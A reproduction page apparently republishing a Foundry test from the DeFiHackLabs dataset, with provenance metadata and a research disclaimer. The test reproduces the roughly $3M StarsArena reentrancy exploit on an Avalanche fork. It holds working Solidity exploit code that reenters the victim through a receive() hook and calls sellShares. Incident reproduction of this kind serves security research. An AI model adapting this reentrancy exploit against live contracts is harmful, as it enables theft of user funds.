Public reproduction file
src/test/2023-10/StarsArena_exp.sol
Public reproduction file for dataset entry StarsArena.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~3M$8// Attacker : https://snowtrace.io/address/0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a9// Attack Contract : https://snowtrace.io/address/0x7f283edc5ec7163de234e6a97fdfb16ff2d2c7ac10// Victim Contract : https://snowtrace.io/address/0xa481b139a1a654ca19d2074f174f17d7534e8cec11// Attack Tx : https://snowtrace.io/tx/0x4f37ffecdad598f53b8d5a2d9df98e3c00fbda4328585eb9947a412b5fe17ac513// @Analysis14// https://twitter.com/BlockSecTeam/status/171055692698634291115// https://twitter.com/Phalcon_xyz/status/171055434146639506516// https://twitter.com/peckshield/status/171055594426929200918contract ContractTest is Test {19 address private constant victimContract = 0xA481B139a1A654cA19d2074F174f17D7534e8CeC;20 bool private reenter = true;22 function setUp() public {23 vm.createSelectFork("avalanche", 36_136_405);24 }26 function testExploit() public {27 deal(address(this), 1 ether);29 emit log_named_decimal_uint("Attacker AVAX balance before exploit", address(this).balance, 18);31 (bool success,) = victimContract.call{value: 1 ether}(32 abi.encodeWithSelector(bytes4(0xe9ccf3a3), address(this), true, address(this))33 );34 require(success, "Call to function with selector 0xe9ccf3a3 fail");36 (bool success2,) = victimContract.call(abi.encodeWithSignature("sellShares(address,uint256)", address(this), 1));37 require(success2, "Call to sellShares() fail");39 emit log_named_decimal_uint("Attacker AVAX balance after exploit", address(this).balance, 18);40 }42 receive() external payable {43 if (reenter == true) {44 (bool success,) = victimContract.call(abi.encodeWithSelector(bytes4(0x5632b2e4), 91e9, 91e9, 91e9, 91e9));45 require(success, "Call to function with selector 0x5632b2e4 fail");46 reenter = false;47 }48 }49}Analysis
Dataset entry
Public Foundry test for “StarsArena” (2023-10-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
- src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
- src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
- src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
- src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
- src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a
- Attack Contract
0x7f283edc5ec7163de234e6a97fdfb16ff2d2c7ac
- Victim
0xa481b139a1a654ca19d2074f174f17d7534e8cec
- Attack Tx
0x4f37ffecdad598f53b8d5a2d9df98e3c00fbda4328585eb9947a412b5fe17ac5
- Reference: https://snowtrace.io/address/0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a
- Reference: https://snowtrace.io/address/0x7f283edc5ec7163de234e6a97fdfb16ff2d2c7ac
- Reference: https://snowtrace.io/address/0xa481b139a1a654ca19d2074f174f17d7534e8cec
- Reference: https://twitter.com/BlockSecTeam/status/1710556926986342911
- Reference: https://twitter.com/Phalcon_xyz/status/1710554341466395065
- Reference: https://twitter.com/peckshield/status/1710555944269292009
File record
- Name
- StarsArena
- Path
- src/test/2023-10/StarsArena_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5d83a79985ee234e40e8e958972450ab501ad5f7
- Language
- Solidity
- Size
- 50 lines
- Date
- 2023-10-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/StarsArena_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5d83a79985ee234e40e8e958972450ab501ad5f7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.